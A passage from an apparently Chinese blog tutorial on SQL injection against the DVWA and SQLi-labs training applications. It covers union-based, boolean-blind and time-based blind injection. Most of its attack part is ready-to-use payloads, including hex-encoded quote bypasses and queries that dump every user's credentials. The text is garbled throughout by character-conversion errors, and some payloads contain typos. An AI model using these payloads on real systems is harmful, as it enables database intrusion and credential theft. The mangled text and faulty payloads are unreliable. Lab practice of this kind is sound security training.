雖然前端使用了下拉選擇菜單,但我們依然可以通過(guò)抓包改參數(shù),提交惡意構(gòu)造的查詢參數(shù)。

1.判斷是否存在注入,注入是字符型還是數(shù)字型

抓包更改參數(shù)id為1' or 1=1 # 報(bào)錯(cuò): #是注釋作用

image

抓包更改參數(shù)id為1 or 1=1 #,查詢成功

image

說(shuō)明存在數(shù)字型注入。
(由于是數(shù)字型注入,服務(wù)器端的mysql_real_escape_string函數(shù)就形同虛設(shè)了,因?yàn)閿?shù)字型注入并不需要借助引號(hào)。)

2.猜解SQL查詢語(yǔ)句中的字段數(shù)

抓包更改參數(shù)id為1 order by 2 #,查詢成功:

image

抓包更改參數(shù)id為1 order by 3 #,報(bào)錯(cuò):

image

說(shuō)明執(zhí)行的SQL查詢語(yǔ)句中只有兩個(gè)字段,即這里的First name、Surname。

3.確定顯示的字段順序

抓包更改參數(shù)id為1 union select 1,2 #,查詢成功:

image

說(shuō)明執(zhí)行的SQL語(yǔ)句為select First name,Surname from 表 where ID=id…

4.獲取當(dāng)前數(shù)據(jù)庫(kù)

抓包更改參數(shù)id為1 union select 1,database() #,查詢成功:

image

說(shuō)明當(dāng)前的數(shù)據(jù)庫(kù)為dvwa。

5.獲取數(shù)據(jù)庫(kù)中的表

抓包更改參數(shù)id為1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功:

image

說(shuō)明數(shù)據(jù)庫(kù)dvwa中一共有兩個(gè)表,guestbook與users。

6.獲取表中的字段名

抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查詢失?。?/code>

image

這是因?yàn)閱我?hào)被轉(zhuǎn)義了,變成了\'??梢岳?6進(jìn)制進(jìn)行繞過(guò) ''

抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查詢成功:

image

說(shuō)明users表中有8個(gè)字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7.下載數(shù)據(jù)

抓包修改參數(shù)id為1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功:

image

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)。

High
image

分析:
與Medium級(jí)別的代碼相比,High級(jí)別的只是在SQL查詢語(yǔ)句中添加了LIMIT 1,希望以此控制只輸出一個(gè)結(jié)果。

漏洞利用:
雖然添加了LIMIT 1,但是我們可以通過(guò)#將其注釋掉。由于手工注入的過(guò)程與Low級(jí)別基本一樣,直接最后一步演示下載數(shù)據(jù)。

輸入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功:

image

特別注意:High級(jí)別的查詢提交頁(yè)面與查詢結(jié)果顯示頁(yè)面不是同一個(gè),也沒(méi)有執(zhí)行302跳轉(zhuǎn),這樣做的目的是為了防止一般的sqlmap注入,因?yàn)閟qlmap在注入過(guò)程中,無(wú)法在查詢提交頁(yè)面上獲取查詢的結(jié)果,沒(méi)有了反饋,也就沒(méi)辦法進(jìn)一步注入。

SQL-Injection(Blind)

SQL盲注,與一般注入的區(qū)別在于,一般的注入攻擊者可以直接從頁(yè)面上看到注入語(yǔ)句的執(zhí)行結(jié)果,而盲注時(shí)攻擊者通常是無(wú)法從顯示頁(yè)面上獲取執(zhí)行結(jié)果,甚至連注入語(yǔ)句是否執(zhí)行都無(wú)從得知,因此盲注的難度要比一般注入高。目前網(wǎng)絡(luò)上現(xiàn)存的SQL注入漏洞大多是SQL盲注。

盲注中常用的幾個(gè)函數(shù):
substr(a,b,c):從b位置開始,截取字符串a(chǎn)的c長(zhǎng)度 
count():計(jì)算總數(shù) 
ascii():返回字符的ascii碼 
length():返回字符串的長(zhǎng)度 left(a,b):從左往右截取字符串a(chǎn)的前b個(gè)字符 
sleep(n):將程序掛起n秒

手工盲注思路

手工盲注的過(guò)程,就像你與一個(gè)機(jī)器人聊天,這個(gè)機(jī)器人知道的很多,但只會(huì)回答“是”或者“不是”,因此你需要詢問(wèn)它這樣的問(wèn)題,例如“數(shù)據(jù)庫(kù)名字的第一個(gè)字母是不是a?。俊?,通過(guò)這種機(jī)械的詢問(wèn),最終獲得你想要的數(shù)據(jù)。

盲注分為基于布爾的盲注、基于時(shí)間的盲注以及基于報(bào)錯(cuò)的盲注,這里只演示基于布爾的盲注與基于時(shí)間的盲注。

下面簡(jiǎn)要介紹手工盲注的步驟(可與之前的手工注入作比較):

1.判斷是否存在注入,注入是字符型還是數(shù)字型 
2.猜解當(dāng)前數(shù)據(jù)庫(kù)名 
3.猜解數(shù)據(jù)庫(kù)中的表名
4.猜解表中的字段名 
5.猜解數(shù)據(jù)
Low
image-20200403135051500

分析:
Low級(jí)別的代碼對(duì)參數(shù)id沒(méi)有做任何檢查、過(guò)濾,存在明顯的SQL注入漏洞,同時(shí)SQL語(yǔ)句查詢返回的結(jié)果只有兩種:
User ID exists in the database.‘與‘ User ID is MISSING from the database.
因此這里是SQL盲注漏洞。

漏洞利用

基于布爾的盲注:

1.判斷是否存在注入,注入是字符型還是數(shù)字型

當(dāng)輸入的參數(shù)為字符串時(shí),稱為字符型。字符型和數(shù)字型最大的一個(gè)區(qū)別在于,數(shù)字型不需要單引號(hào)來(lái)閉合,而字符串一般需要通過(guò)單引號(hào)來(lái)閉合的。

輸入1,顯示相應(yīng)用戶存在:

image-20200403134048181

輸入1’ and 1=1 #,顯示存在:

image-20200403134048181

輸入1’ and 1=2 #,顯示不存在:

image-20200403134132131.png

2.猜解當(dāng)前數(shù)據(jù)庫(kù)名

想要猜解數(shù)據(jù)庫(kù)名,首先要猜解數(shù)據(jù)庫(kù)名的長(zhǎng)度,然后挨個(gè)猜解字符。

輸入1’ and length(database())=1 #,顯示不存在;
輸入1’ and length(database())=2 #,顯示不存在;
輸入1’ and length(database())=3 #,顯示不存在;
輸入1’ and length(database())=4 #,顯示存在:

說(shuō)明數(shù)據(jù)庫(kù)名長(zhǎng)度為4。

下面采用二分法猜解數(shù)據(jù)庫(kù)名。

輸入1' and ascii(substr(databse(),1,1))>97 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值大于97(小寫字母a的ascii值);
輸入1' and ascii(substr(databse(),1,1))<122 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于122(小寫字母z的ascii值);
輸入1' and ascii(substr(databse(),1,1))<109 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于109(小寫字母m的ascii值);
輸入1' and ascii(substr(databse(),1,1))<103 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于103(小寫字母g的ascii值);
輸入1' and ascii(substr(databse(),1,1))<100 #,顯示不存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值不小于100(小寫字母d的ascii值);
輸入1' and ascii(substr(databse(),1,1))>100 #,顯示不存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值不大于100(小寫字母d的ascii值),所以數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值為100,即小寫字母d。
…

重復(fù)上述步驟,就可以猜解出完整的數(shù)據(jù)庫(kù)名(dvwa)了。

3.猜解數(shù)據(jù)庫(kù)中的表名

首先猜解數(shù)據(jù)庫(kù)中表的數(shù)量:

1' and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在
1' and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在

說(shuō)明數(shù)據(jù)庫(kù)中共有兩個(gè)表。

接著挨個(gè)猜解表名:

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在 
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在
 … 
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在

說(shuō)明第一個(gè)表名長(zhǎng)度為9。

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=data'ase() limit 0,1),1,1))>103 # 顯示不存在

說(shuō)明第一個(gè)表的名字的第一個(gè)字符為小寫字母g。

重復(fù)上述步驟,即可猜解出兩個(gè)表名(guestbook、users)。

4.猜解表中的字段名

首先猜解表中字段的數(shù)量:

1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 顯示不存在 
...
1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在

說(shuō)明users表有8個(gè)字段。

接著挨個(gè)猜解字段名:

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在

說(shuō)明users表的第一個(gè)字段為7個(gè)字符長(zhǎng)度。

采用二分法,即可猜解出所有字段名。

5.猜解數(shù)據(jù)

同樣采用二分法。

基于時(shí)間的盲注:

1.判斷是否存在注入,注入是字符型還是數(shù)字型

輸入1' and sleep(5) #,感覺(jué)到明顯延遲;
輸入1 and sleep(5) #,沒(méi)有延遲;

說(shuō)明存在字符型的基于時(shí)間的盲注。

2.猜解當(dāng)前數(shù)據(jù)庫(kù)名

首先猜解數(shù)據(jù)名的長(zhǎng)度:

1' and if(length(database())=1,sleep(5),1) # 沒(méi)有延遲 1' and if(length(database())=2,sleep(5),1) # 沒(méi)有延遲 1' and if(length(database())=3,sleep(5),1) # 沒(méi)有延遲 1' and if(length(database())=4,sleep(5),1) # 明顯延遲

說(shuō)明數(shù)據(jù)庫(kù)名長(zhǎng)度為4個(gè)字符。

接著采用二分法猜解數(shù)據(jù)庫(kù)名:

1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明顯延遲 … 1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒(méi)有延遲 1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 沒(méi)有延遲 說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符為小寫字母d。
 …

重復(fù)上述步驟,即可猜解出數(shù)據(jù)庫(kù)名。

3.猜解數(shù)據(jù)庫(kù)中的表名

首先猜解數(shù)據(jù)庫(kù)中表的數(shù)量:

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 沒(méi)有延遲
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明顯延遲

說(shuō)明數(shù)據(jù)庫(kù)中有兩個(gè)表。

接著挨個(gè)猜解表名:

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 沒(méi)有延遲
…
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明顯延遲

說(shuō)明第一個(gè)表名的長(zhǎng)度為9個(gè)字符。

采用二分法即可猜解出表名。

4.猜解表中的字段名

首先猜解表中字段的數(shù)量:

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 沒(méi)有延遲
…
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明顯延遲

說(shuō)明users表中有8個(gè)字段。

接著挨個(gè)猜解字段名:

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 沒(méi)有延遲
…
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲

說(shuō)明users表的第一個(gè)字段長(zhǎng)度為7個(gè)字符。

采用二分法即可猜解出各個(gè)字段名。

5.猜解數(shù)據(jù)

同樣采用二分法。

Medium
image-20200403134213853

分析:
Medium級(jí)別的代碼利用mysql_real_escape_string函數(shù)對(duì)特殊符號(hào)

\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義,同時(shí)前端頁(yè)面設(shè)置了下拉選擇表單,希望以此來(lái)控制用戶的輸入。

漏洞利用

雖然前端使用了下拉選擇菜單,但我們依然可以通過(guò)抓包改參數(shù)id,提交惡意構(gòu)造的查詢參數(shù)。

上文有詳細(xì)的盲注流程,這里就簡(jiǎn)要演示幾個(gè)。

首先是基于布爾的盲注:

抓包改參數(shù)id為1 and length(database())=4 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的長(zhǎng)度為4個(gè)字符;
抓包改參數(shù)id為1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說(shuō)明數(shù)據(jù)中的第一個(gè)表名長(zhǎng)度為9個(gè)字符;
抓包改參數(shù)id為1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273為users的16進(jìn)制),顯示存在,說(shuō)明uers表有8個(gè)字段。

然后是基于時(shí)間的盲注:

抓包改參數(shù)id為1 and if(length(database())=4,sleep(5),1) #,明顯延遲,說(shuō)明數(shù)據(jù)庫(kù)名的長(zhǎng)度為4個(gè)字符;
抓包改參數(shù)id為1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明顯延遲,說(shuō)明數(shù)據(jù)中的第一個(gè)表名長(zhǎng)度為9個(gè)字符;
抓包改參數(shù)id為1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明顯延遲,說(shuō)明uers表有8個(gè)字段。
High
image-20200403134236798.png

分析:
High級(jí)別的代碼利用cookie傳遞參數(shù)id,當(dāng)SQL查詢結(jié)果為空時(shí),會(huì)執(zhí)行函數(shù)sleep(seconds),目的是為了擾亂基于時(shí)間的盲注。同時(shí)在 SQL查詢語(yǔ)句中添加了LIMIT 1,希望以此控制只輸出一個(gè)結(jié)果。

漏洞利用

雖然添加了LIMIT 1,但是我們可以通過(guò)#將其注釋掉。但由于服務(wù)器端執(zhí)行sleep函數(shù),會(huì)使得基于時(shí)間盲注的準(zhǔn)確性受到影響,這里我們只演示基于布爾的盲注:

抓包將cookie中參數(shù)id改為1’ and length(database())=4 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的長(zhǎng)度為4個(gè)字符;
抓包將cookie中參數(shù)id改為1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說(shuō)明數(shù)據(jù)中的第一個(gè)表名長(zhǎng)度為9個(gè)字符;
抓包將cookie中參數(shù)id改為1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 為users的16進(jìn)制),顯示存在,說(shuō)明uers表有8個(gè)字段。

SQL-LABS

Less-1(GET單引號(hào)字符型注入)

#查看頁(yè)面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2

#確定字段數(shù) #不能用#【坑點(diǎn)1】
?id=1' order by 3 --+
?id=1' order by 4 %23

#聯(lián)合查詢查看顯示位 #id要為負(fù)數(shù)【坑點(diǎn)2】
?id=-1' union select 1,2,3 --+

#爆庫(kù)【security】
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1' union select 1,2,database() --+   

#爆表【emails,referers,uagents,users】
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

#爆列【...id,username,password...】
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

#爆值【DumbDumb...】
?id=-1' union select 1,2,group_concat(username,password) from users --+

坑點(diǎn)1:URL框中的sql語(yǔ)句中不能用直接使用#號(hào),要用--+(等價(jià)于--空格)或者%23,但是輸入框中可以用#,應(yīng)為輸入框提交是會(huì)執(zhí)行一次URL編碼,#會(huì)被編譯成%23
原因是url中#號(hào)是用來(lái)指導(dǎo)瀏覽器動(dòng)作的(例如錨點(diǎn)),對(duì)服務(wù)器端完全無(wú)用。所以,HTTP請(qǐng)求中不包括#
將#號(hào)改成url的編碼%23或者使用--+就可以了

坑點(diǎn)2:在聯(lián)合查詢查看顯示位,使用union聯(lián)合查詢后發(fā)現(xiàn)頁(yè)面返回的數(shù)據(jù)沒(méi)變,這是因?yàn)槿绻筮叺腟QL語(yǔ)句正確執(zhí)行那么就會(huì)只返回左邊第一個(gè)查詢語(yǔ)句的運(yùn)行結(jié)果,那么我們只要讓第一行查詢的結(jié)果是空集(即union左邊的select子句查詢結(jié)果為空),那么我們union右邊的查詢結(jié)果自然就成為了第一行,就打印在網(wǎng)頁(yè)上了。

這個(gè)id傳遞的是數(shù)字,而且一般都是從1開始自增的,我們可以把id值設(shè)為非正數(shù)(負(fù)數(shù)或0),浮點(diǎn)數(shù),字符型或字符串都行,主要是使左邊的查詢語(yǔ)句報(bào)錯(cuò)就行。

Less-2(GET數(shù)字型注入)

#查看頁(yè)面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
#確定字段數(shù)
?id=1 order by 3
?id=1 order by 4 
#聯(lián)合查詢查看顯示位
?id=-1 union select 1,2,3
#爆庫(kù)
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
?id=-1 union select 1,2,database()
#爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
#爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
#爆值
?id=-1 union select 1,2,group_concat(username,password) from users

Less-3(GET單引號(hào)變形字符型注入)

#查看頁(yè)面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 3 --+
#報(bào)錯(cuò) for the right syntax to use near 'order by 3 -- ') LIMIT 0,1' at line 1
#由錯(cuò)誤提示可知后臺(tái)查詢語(yǔ)句應(yīng)為select * from * where id = ('$id') LIMIT 0,1
#構(gòu)造?id=1') --+ 進(jìn)行測(cè)試。訪問(wèn)正常,猜測(cè)正確。
#確定字段數(shù)
?id=1') order by 3 --+
?id=1') order by 4 --+
#聯(lián)合查詢查看顯示位
?id=-1') union select 1,2,3 --+
#爆庫(kù)
?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1') union select 1,2,database() --+
#爆表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值
?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

Less-4(GET雙引號(hào)字符型注入)

#查看頁(yè)面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 4 --+
?id=1" order by 4 --+
#報(bào)錯(cuò)  to use near 'order by 4 -- ") LIMIT 0,1' at line 1
#由錯(cuò)誤提示可知后臺(tái)查詢語(yǔ)句應(yīng)為select * from * where id = ("$id") LIMIT 0,1
#構(gòu)造?id=1") --+ 進(jìn)行測(cè)試。訪問(wèn)正常,猜測(cè)正確。
#確定字段數(shù)
?id=1") order by 3 --+
?id=1") order by 4 --+
#聯(lián)合查詢查看顯示位
?id=-1") union select 1,2,3 --+
#爆庫(kù)
?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1") union select 1,2,database() --+
#爆表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值
?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

Less-5(雙注入GET單引號(hào)字符型注入)

一些感悟

我自己我在學(xué)習(xí)Web安全的過(guò)程中,也是倍感枯燥,總想急于求成,想要簡(jiǎn)單學(xué)一哈就能實(shí)現(xiàn)各種????操作,顯然不是那么容易的,所以請(qǐng)靜下心來(lái)鉆研吧,慢慢來(lái),比較快!

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容